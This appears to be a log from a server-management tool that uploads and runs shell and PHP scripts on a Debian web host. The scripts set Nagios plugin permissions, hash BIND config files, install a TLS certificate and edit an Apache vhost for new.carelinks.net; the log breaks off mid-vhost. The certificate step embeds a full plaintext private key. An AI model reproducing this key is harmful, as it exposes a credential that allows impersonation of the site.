PUT: /tmp/pkp103165
#!/bin/bash
chmod 755 '/usr/local/nagios/libexec/check_debian_packages'
echo ok
2025-12-29 21:41:27:
chmod 755 /tmp/pkp103165; /tmp/pkp103165; rm /tmp/pkp103165
2025-12-29 21:41:27:
ok
2025-12-29 21:41:27:
PUT: /tmp/pkp349072
#!/bin/bash
chmod 755 '/usr/local/nagios/libexec/class_nagios.php'
echo ok
2025-12-29 21:41:27:
chmod 755 /tmp/pkp349072; /tmp/pkp349072; rm /tmp/pkp349072
2025-12-29 21:41:27:
ok
2025-12-29 21:41:27:
PUT: /tmp/pkp652320
#!/bin/bash
chmod 755 '/usr/local/nagios/libexec/check_php.php'
echo ok
2025-12-29 21:41:27:
chmod 755 /tmp/pkp652320; /tmp/pkp652320; rm /tmp/pkp652320
2025-12-29 21:41:27:
ok
2025-12-29 21:41:27:
PUT: /tmp/pkp894003
#!/bin/bash
chmod 755 '/usr/local/nagios/libexec/check_file_exists'
echo ok
2025-12-29 21:41:27:
chmod 755 /tmp/pkp894003; /tmp/pkp894003; rm /tmp/pkp894003
2025-12-29 21:41:27:
ok
2025-12-29 21:41:27:
PUT: /tmp/pkp504778
#!/bin/bash
chmod 755 '/usr/local/nagios/libexec/check_service'
echo ok
2025-12-29 21:41:27:
chmod 755 /tmp/pkp504778; /tmp/pkp504778; rm /tmp/pkp504778
2025-12-29 21:41:27:
ok
2025-12-29 21:51:43: Establishing a connection
2025-12-29 21:51:50: Establishing a connection
2025-12-29 21:51:50:
PUT: /tmp/pkp509076
#!/usr/bin/php
<?php
// What files are being used by Bind, and what are their contents?
// php's token_get_all() makes this fairly quick
$directory = '/etc/bind';
ob_start('ob_gzhandler');
parseFile('named.conf');
ob_end_flush();
function parseFile($filename, $parse = TRUE) {
global $directory;
if ($filename[0] != '/') $filename = realpath($directory . '/./' . $filename);
$hash = md5_file($filename);
echo "MD5({$filename})= {$hash}\n";
if ($parse) {
$content = "<?php\n" . file_get_contents($filename);
$tokens = token_get_all($content);
$i = 0;
parseGroup($tokens, $i);
}
}
function unQuote($value) {
$ch = $value[0];
if ($ch == '"' || $ch == "'") {
if (substr($value, -1) == $ch) {
$value = substr($value, 1, -1);
}
}
return $value;
}
function addEntry(&$current) {
global $directory;
if (count($current)) {
switch($current[0]) {
case 'include':
$filename = unQuote($current[1]);
parseFile($filename);
break;
case 'directory':
$directory = unQuote($current[1]);
break;
case 'file':
$filename = unQuote($current[1]);
parseFile($filename, FALSE); // Resource File - do not parse
break;
}
}
$current = [];
}
function ParseGroup($tokens, &$i) {
$current = [];
$c = count($tokens);
while ($i < $c) {
$token = $tokens[$i];
if (is_array($token)) {
$token_name = $token[0];
$token_data = $token[1]; // [2] = line number
} else {
$token_name = -1;
$token_data = $token;
}
switch ($token_name) {
case -1:
if ($token_data == ';') { // end of statement
$i++;
addEntry($current);
} elseif ($token_data == '{') { // group
$i++;
ParseGroup($tokens, $i);
} elseif ($token_data == '}') { // end of group
addEntry($current);
return;
}
case T_OPEN_TAG:
case T_WHITESPACE:
case T_COMMENT:
break;
case T_DNUMBER: // 127.0 / .0 / .1
case T_LNUMBER:
case T_CONSTANT_ENCAPSED_STRING:
case T_STRING:
case T_INCLUDE:
$current[] = $token_data;
break;
}
$i++;
}
addEntry($current);
}
2025-12-29 21:51:51:
runuser -l bind -s /bin/bash -c '/tmp/pkp509076; rm /tmp/pkp509076'
2025-12-29 21:51:51:
MD5(/etc/bind/named.conf)= 6df494defbd381f8bc9d76ff6611ba09
MD5(/etc/bind/named.conf.options)= 35371f62b8a2d54eb399121839293544
MD5(/etc/bind/named.conf.local)= da5950cd780a6130ceaaf046681acc0d
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.conf)= 0fd08353130bb23e9ce3de6623e547cd
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.txt)= 03d4462705df3e3b3447b5e03d69e033
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.conf)= f3bc075b289ef11a7e7fb9730ce45981
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.txt)= db46afa1eaf0998e2096010ff5922625
MD5(/var/cache/bind/b74ce055b83f6cfebe00ab1c0c5d2af2.conf)= e18fb42db1994e58907bc0f5f1bbb842
MD5(/var/cache/bind/b74ce055b83f6cfebe00ab1c0c5d2af2.txt)= 52e1ab6ca1b295d6e228011efc7c3e36
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.conf)= 229439ac891c563fbf452cfb5b8d8082
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.txt)= 46011b4de1a60b584e110c9275cf58d9
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.conf)= c7d0f7caaf6c7c9b22c53150d660da6d
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.txt)= 05cb0d9a8acaeec415f02a2878e47e99
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.conf)= 92f5ac0b53170f78cd90b11433e00c90
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.txt)= b18383b98052efd1f1c0c13416f7da2a
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.conf)= cf96c96f1d1461ee0e72fa2288f69183
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.txt)= 41be792e22df23608316bdc6d5c02ebb
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.conf)= e25d9cd35ad127e670a08c38380f80dd
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.txt)= 8978877eb7bb428bb9b1624fd66866df
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.conf)= 78daa950362f6df7200d4f288d8fcc24
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.txt)= 2beac4b9c680af375d0427d0ec122336
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.conf)= c08670467eff145eb677c7be4fedd002
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.txt)= 292b467eca3f6f3e89b5906332d932ee
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.conf)= 4fc4049398e3e9ef0d00161bec61b8a9
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.txt)= e373146ad3409ae00911c19a196aba0c
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.conf)= 5738a9fc0adb6f630b2fd1631f76ebc3
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.txt)= b7fd8090ad0c758abe1b81ce7342fe27
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.conf)= a7b88255b74138f72d534f4bd4a55f78
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.txt)= 4c65be2cf42d7b01dff25648a30e0d60
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.conf)= 6ee0aac8bac1e71e0fc3ba188fbd759d
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.txt)= 55b92b69ce255778373fb680dec3d692
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.conf)= d22959f1a2d9d7cb2536df3503919289
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.txt)= c85eeca80d19efbde6476aaa5e378f89
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.conf)= 92a9f7b58f0a8f65037161a776a507b8
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.txt)= 3350c32974ffbafe079a7b2e988461c6
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.conf)= a96b4420934b504593fd2f5230424614
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.txt)= d2257a98a9302b66c20561308c19fdcf
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.conf)= 6eb5284adbf5d232feb60f6e1ab6df01
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.txt)= c6b705f7647f89b3a921503db37fea1e
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.conf)= b0e44b79d08ff8aa48029941ec628f8a
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.txt)= a264743f8f159ddddb0eaa504acd179f
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.conf)= 6c13dfa5be1a030d5ad674727b3a6ca7
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.txt)= 8c06d62e3637a8428b0366618cf3abd7
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.conf)= 69ba71a6df7b67c48ee48d439825b9b8
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.txt)= 87d8872c527a1698c0cbfdfec95dfb04
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.conf)= 015688087db895d82fc3eb3b9e11c692
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.txt)= d1e1050a45218d8a317ce20cd873bddd
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.conf)= befba77b0345213ef42b7d5fff304d70
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.txt)= 64a0bc30bde19c19f61dce2d34ba9f4d
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.conf)= 57e8151924225ca0e8e775f7c467fc0e
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.txt)= 25d0956113a097d2916fee42bd2d5ce8
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.conf)= 4a0086432eb4e2adea559c1ce5927665
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.txt)= 5750103aa360655e27676ee5092b77ef
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.conf)= 1f311b8a6182eeca1501eba415974cdc
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.txt)= c53c26bd24bdda2d1ee3d779b0ccd0a8
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.conf)= 603b053e96cc535f2b53b4f94c071b02
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.txt)= ee53ca31f66425c94bab4f49e8a21876
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.conf)= 97c8d1c1c45d4c3d55a30acba462715e
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.txt)= 6e0a1be9573427f3aecbcd2f457e6ca9
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.conf)= a5c1273a2ca448bbb92c7203a6f0c24e
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.txt)= 2657621e2763f175c78568a13a3b4254
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.conf)= f8bf0700dac5c8c4919aecf3da123f92
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.txt)= 2a8dec65e632ef023e1ae1037f9a8eb8
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.conf)= 549f08df0180e98c4a822c8ff0213408
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.txt)= 9cb7121349a3447b15a4f1444864be56
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.conf)= 83cee68b971fca76ad57abcf7ea79435
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.txt)= bfa28a357931b8963fc3db9342c27396
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.conf)= ddffa1884914311387168172feda086c
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.txt)= ffa7f2c861e2579237365beb35c65328
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.conf)= fc499b7bcc4f7bd1d4827357adb45e7d
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.txt)= cdfc7d29f0f9da0d7cb4cc1c627d340e
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.conf)= 6282a18418d86f206e2410aae573926a
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.txt)= da8d99880c0b4f5d1158902abf4cf39a
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.conf)= f8bc6a67efbdb504a5f85f3787175120
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.txt)= ce97f4641bfe8d4826b6d44097672165
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.conf)= 9c469d124b973a0c48a7084a48df07ed
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.txt)= ebf08621122375f56f22c7d207713b37
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.conf)= f89894bce93149ef3a0ee72cf3b46a92
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.txt)= a7ff8245b49d737356e14402ef69e0b4
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.conf)= fff6889b13905b5a22a0a280541beb17
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.txt)= 2557fbb1b0ce22dfcad39f117fb5d836
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.conf)= 6e60a6f4a772f19624e54937eadf00e0
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.txt)= 12ec6f783d6ac3bdd3f9d6921b1ba27a
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.conf)= 4aa3a1169a84c53167ee8dcce6128883
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.txt)= ff229c913624671483309b6b5a233790
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.conf)= b35e87166fa75b0eecbabb2958595374
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.txt)= 9dbcf27730c478ead28397cbef193659
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.conf)= 370ad953107dab595a234500850414cb
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.txt)= 1f5511319facf6dd7179e0ee9cac0c65
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.conf)= 41dfde821e6536d01c57049ace3f0fa8
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.txt)= 3b9749b3aa1d39b252fd354cb1d30abc
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.conf)= aa0c41a8f288d69eeb16567b5e0aec56
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.txt)= 0cc05ded4f42eaa5e3a66f7466b55045
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.conf)= 0c12e9548e598ad77eff62d2c68142b2
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.txt)= 215db2579062c3dd4bf7e5ed22982e75
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.conf)= 9c40952b0c50507ea64d4480409cb2e8
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.txt)= da429f1b684d9c3bb05c418a195ceb7e
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.conf)= 51e286d25a9fbd96f007a7084de18dd9
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.txt)= 100f002295ca521d3ac0f418694f3c7d
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.conf)= 622d9a736c9f30648387448aca7f497d
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.txt)= 76a58050470ad602876bce6b4a5fdb65
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.conf)= 980c7a4583fe35da8df0033a57098def
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.txt)= 4280f8c05bc7ff45d1502e829357c0b2
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.conf)= 7a6022b5c53bafd967d3c9873a04bf86
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.txt)= 0657908fdb73b80608db9fcde03ef46f
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.conf)= 85a2b7310c5460015abddb6ef0af3a56
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.txt)= 558dea320db1d773932c92910d1dbdd0
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.conf)= 81f4dbaa2ef4e9abd0e967b4ad2586b2
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.txt)= 7174b344b0ae3fb0d1e887f7b7a8cca1
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.conf)= 7a7a30e25dd61c59d71673818fb4b731
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.txt)= 4ef4e881b38eacff7ef2cb121ee2a31d
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.conf)= 4475af152483db05440ac1bdb9e91ed8
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.txt)= d8822ffb89db1df7c92e5994559a29f1
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.conf)= 5f673bc37590247b80c11d0349e7039b
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.txt)= f74085c0552a3fba6622491abdbfce06
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.conf)= ece349c6e4fb427405bbce5b5501fec7
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.txt)= 66b17acb39553d9ae5c46141fa7072cc
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.conf)= 34f0d361e4a9e09f563e1b9ebb2d21db
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.txt)= 2a324e4d3ddfd35539af500663112679
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.conf)= 9896db403abe67fa779eafab3fb9c466
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.txt)= 90d11419a458de092b42a669de715701
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.conf)= 5160486015bcb3611cd44fe96a0507f2
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.txt)= 5aef34597b77b644cec7fbe4d804cae9
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.conf)= fd0457a783720d5adbc63330db4ba29c
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.txt)= 876777712e30357d4624f45b89f90d25
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.conf)= d22edaa21f398273183ddd5015d8a697
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.txt)= af7980c0c505a2cb9c80a6dcd33fb37d
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.conf)= 0bb3baf9e79ad18c078b64857c5c4fef
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.txt)= 4f2a6ba7f3a1f349813677dc835b72e3
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.conf)= 66ef6c188fde86c68238df5f0f8b1c63
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.txt)= 78845a52d60704d9f479a146f3151909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.conf)= f58481f984dabea5d5aecf889dafd909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.txt)= 21e91dfd8a70957d62dfd3f65c252eaf
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.conf)= 41de67f9c6ff20a481de2604a5cc468c
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.txt)= 3de8aa47e4be97fb0088cbc5bd4e5d00
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.conf)= be458f7ab43d9f713dcd9551784820da
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.txt)= fd0a8c652b27589f5908fcf7f1e9f6e0
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.conf)= 9809fac7437d3482422b2fcdb2aae89f
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.txt)= eaf427f91784f271895869ca9c1c31ab
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.conf)= 97e7b02dd275ffcd326cf55868836a13
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.txt)= 8035060c9ed3fa6a173f4ccf42dc82d5
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.conf)= f523d5f69970191d187717079c3462cf
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.txt)= 07d2f0972f7571a5c93312f943645728
MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.conf)= 6640cf357a97668fe84a5e7953c321a0
MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.txt)= 5e87428bc4cd6d266c7a77bc507057f8
MD5(/etc/bind/named.conf.default-zones)= 9fbdc4657090b3b2a45f7e7b8468cf96
MD5(/usr/share/dns/root.hints)= 256a3e44f5821c498cf777dd118944a6
MD5(/etc/bind/db.local)= e5d27ead2d238928a08d33c7a7333477
MD5(/etc/bind/db.127)= 64f5cf50e8d8192109dad43b779e5e36
MD5(/etc/bind/db.0)= 43e4adb661f18a102a9c2ad1e192e825
MD5(/etc/bind/db.255)= 8aba258068c8c60a7ade3952a285f57d
2025-12-29 21:51:54: Establishing a connection
2025-12-29 21:51:54:
PUT: /tmp/pkp303523
#!/bin/bash
temp_file=$(mktemp)
TARGET=c13083ef22e4da45778cd2f50f19c2de.crt
cat > $temp_file <<'endmsg'
c1:30:83:ef:22:e4:da:45:77:8c:d2:f5:0f:19:c2:de
-----BEGIN CERTIFICATE-----
MIIDXTCCAkWgAwIBAgIUI9y9S78AZUPxWoEo8B7X+R/4FGAwDQYJKoZIhvcNAQEL
BQAwOzEaMBgGA1UECgwRVGhlWW91bmdEZXNpZ25lcnMxHTAbBgNVBAMMFFRoZVlv
dW5nRGVzaWduZXJzIENBMB4XDTI1MTIyOTIxNTE1NFoXDTI2MTIyOTIxNTE1NFow
HDEaMBgGA1UEAwwRbmV3LmNhcmVsaW5rcy5uZXQwggEiMA0GCSqGSIb3DQEBAQUA
A4IBDwAwggEKAoIBAQCaXtVW0WAm1+0PI4xHhNSjj622IrQ2bxVcV81va1UesNUl
XoDgdnpQB1t0wbJnYSog4hX8HVKjaEZrEnfiZMxMZuY2QkEyUahcHQhqhC2o9yfN
3lSfveg/BLl63erHmnPfHatsYRmAXJ8a99cWLksXEj7G+xhirB4VQQdHp/lBGey1
6HqG2fSqq5+JscME0LidPJgazs7wu0kbX9rvcIXtfB6KcTPrKdny/M5E0Le5ir+n
w45EJl0H7kJW48bbjvRa5/ISzVwD9I2MWLZx49FjpoCLLbDtIH73+0UU+RXAEIOT
FKFOYIDl2cr4xWZZcDHcSkEGRsE8dEAyUL+EPLStAgMBAAGjeDB2MB0GA1UdDgQW
BBQEzU41afGSHxPgwxn6tLHQTeelEDAfBgNVHSMEGDAWgBSFm24M/c0kteH10KQD
OIJXSzBz/DALBgNVHQ8EBAMCBaAwCQYDVR0TBAIwADAcBgNVHREEFTATghFuZXcu
Y2FyZWxpbmtzLm5ldDANBgkqhkiG9w0BAQsFAAOCAQEAorxPuuKAD3qYLOae1fCs
IeoBsJHioT4MR5zvtiB/52CdBtGQf6/zXc31pgUiMEgUsOqZGudCEcTSOHpQadvp
8m9vVUG21yMXV/aZuF3V6jKENsiQvIM6RgE2i92X4JvvwbdD0GmsL+y7Km3QojfP
6wF0X/yWqowzXrBqzs1179A27gF/eEFvKJNl6kW1XcsQRN8/VIeFIUVNCypgMUmb
Y4DDb7ahxhxReRudqX2+JtzeuRlG/fsiE0N2CkNn8qgd3/+Bo2cJmV/611bMGZoe
lgvPDkfyOQLcNwmYrMYiyd0gM3XiBqJ4KOsC+oGHDDesVZWLmkyblfjVUIqF6brP
aA==
-----END CERTIFICATE-----
-----BEGIN PRIVATE KEY-----
MIIEvQIBADANBgkqhkiG9w0BAQEFAASCBKcwggSjAgEAAoIBAQCaXtVW0WAm1+0P
I4xHhNSjj622IrQ2bxVcV81va1UesNUlXoDgdnpQB1t0wbJnYSog4hX8HVKjaEZr
EnfiZMxMZuY2QkEyUahcHQhqhC2o9yfN3lSfveg/BLl63erHmnPfHatsYRmAXJ8a
99cWLksXEj7G+xhirB4VQQdHp/lBGey16HqG2fSqq5+JscME0LidPJgazs7wu0kb
X9rvcIXtfB6KcTPrKdny/M5E0Le5ir+nw45EJl0H7kJW48bbjvRa5/ISzVwD9I2M
WLZx49FjpoCLLbDtIH73+0UU+RXAEIOTFKFOYIDl2cr4xWZZcDHcSkEGRsE8dEAy
UL+EPLStAgMBAAECggEABA8eznXacKMIW3fMkjvaqINYZrviX7ULi35Oi1G37wLo
0974hg5veGe9HqSSN5gtNqijOdoeiGfvRBT7/IK4gYDKKF6VHsjZY7SqujxIBBOd
oxLnyDyC3RdXdjTcHcwApHr//S1PcZnd4CRori9g75Yd+vbyxPNwJhBr69Utn2nP
5DGeatZjWGsMATpZ9rbo0Y+TSAq5kjRtrEF7J8l5JEz9UxzgOxZGsQnH/3m55i2W
vY+8PZ0oyaMbcxQurXnh1/5ugNuN7xugScxZrSre2EKoIvJJWi+PdZgq2usp0otu
IoE0gv5xAzacKpJ21dCBgcjxdibpLfuGa6cVdcC8IQKBgQDJ3LUnsxCb5jmFSwWD
jmLIiUvrNtOGdWpOlv0MVTespdbwYpbFKZ8cS+qzeIPxrU6q/bBq6FAA1ZLfJFww
h8U6J+o82xdEIVjfk+2Q5H+3rSWqcKSUGcRmUO8yxvkLS0D4qTiMY8lqnUBBdac3
qu0C8ak1RnF3+mw6i47NUftA4QKBgQDDxXpkLYGkHULo/qET430fb0fwR9kGKWMx
5r6gzqS2GwWJprpUnZcami//Ddqzaw17s/6XqessNL/fgvQR1BhEJv3IVqO9iek0
UFfpkeo+wiCpTGzEqVTLo98af+mSsFgmnENAc3RvboAm4XgSoyvlTPsb2oSbnHjK
dl1bSYNRTQKBgGIngqLCLFJSGSgaOZ0lkB0IvbSq3SHlWALM4lCr4z19Ck2q8rr+
KRL+SypncGkEp1r3rl/dhIFTWG5OZNFoQ1uq6vgaZG7JdEiKypqIsR2kAMumqDAn
c1t5AUaEf7ahKf9/cTK6lsbTndn2lo+3+jVTQr7X+Pao+xVgpNhrg6uhAoGAf6SA
OlTZVBGoEJYEnB0U9avusaGGxNezT1PtMpfJGNrhb3B/yK+/V570cE2uLJE+B0vC
UUx+gyIZgDe3vvAUqkrp6PdkZy5GGM/Rof57RlP4S6oCuO7W1LeRvYts1TGZKAN2
bc1ZO1ZGxBL54Nz2v9jDWNPO5k7NCuTF1cFGl3kCgYEApm4VpkZ4rRYGp5VN9nbK
wC2ZrySwxUDFOCUJURbuq1pXvKm+uwcaxvjaNoBnZcXpG8zHbfyLilwCF33n+zQ7
PSy5UoN8ceWgZszAUtmJ2GPV+6gSan0cXQumXoFsnZPpU4QO/vEmrqNR5+rbWYbY
4sdEHvsiju8a3NOUam8qLIw=
-----END PRIVATE KEY-----
endmsg
chmod 640 $temp_file
if [ -d "/etc/pki/tls/certs" ]; then
cp $temp_file /etc/pki/tls/certs/$TARGET
echo dir=/etc/pki/tls/certs/
elif [ -d "/etc/ssl/certs" ]; then
cp $temp_file /etc/ssl/certs/$TARGET
echo dir=/etc/ssl/certs
else
echo dir=
fi
rm $temp_file
2025-12-29 21:51:55:
chmod 755 /tmp/pkp303523; /tmp/pkp303523; rm /tmp/pkp303523
2025-12-29 21:51:55:
dir=/etc/ssl/certs
2025-12-29 21:51:55:
PUT: /tmp/pkp810071
#!/bin/bash
# download changed files, then zip.
APACHE_ROOT=/etc/apache2
BOUNDARY=----boundary-6506b6c63ab0478b95fb419cca0e56fb----
cd $APACHE_ROOT
temp_file=$(mktemp)
show_file() {
echo $BOUNDARY >> $temp_file
if [ -f "$1" ]; then
FILESIZE=$(stat -c%s "$1")
echo $1 $FILESIZE >> $temp_file
cat $1 >> $temp_file
else
echo $1 0 >> $temp_file
fi
echo >> $temp_file
}
show_file "/etc/apache2/sites-enabled/carelinks_new_net.conf"
gzip -cn9 $temp_file
rm $temp_file
2025-12-29 21:51:55:
chmod 755 /tmp/pkp810071; /tmp/pkp810071; rm /tmp/pkp810071
2025-12-29 21:51:55:
(gzipped output)
----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/apache2/sites-enabled/carelinks_new_net.conf 41
<VirtualHost *:80>
ServerName new.carelinks.net
ServerAdmin do_not_email@example.com
DocumentRoot /var/www/carelinks_new
<Directory /var/www/carelinks_new>
Options +FollowSymLinks -MultiViews
AllowOverride All
Order allow,deny
allow from all
</Directory>
CustomLog /var/log/apache2/carelinks/new_access.log combined
ErrorLog /var/log/apache2/carelinks/new_error.log
SetEnv pkp_uid 4
SetEnv pkp_owner phil
</VirtualHost>
2025-12-29 21:51:55:
PUT: /tmp/pkp556171
#!/bin/bash
temp_file=$(mktemp)
BASE=/etc/apache2
BASENAME=carelinks_new_net.conf
TARGET=/etc/apache2/sites-enabled/carelinks_new_net.conf
DOCROOT=/var/www/carelinks_new
PUBLIC=
cat > $temp_file <<'----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
<VirtualHost *:80>
ServerName new.carelinks.net
ServerAdmin do_not_email@example.com
DocumentRoot /var/www/carelinks_new
<Directory /var/www/carelinks_new>
Options +FollowSymLinks -MultiViews
AllowOverride All
Order allow,deny
allow from all
</Directory>
CustomLog /var/log/apache2/carelinks/new_access.log combined
ErrorLog /var/log/apache2/carelinks/new_error.log
SetEnv pkp_uid 4
SetEnv pkp_owner phil
</VirtualHost>
<VirtualHost *:443>
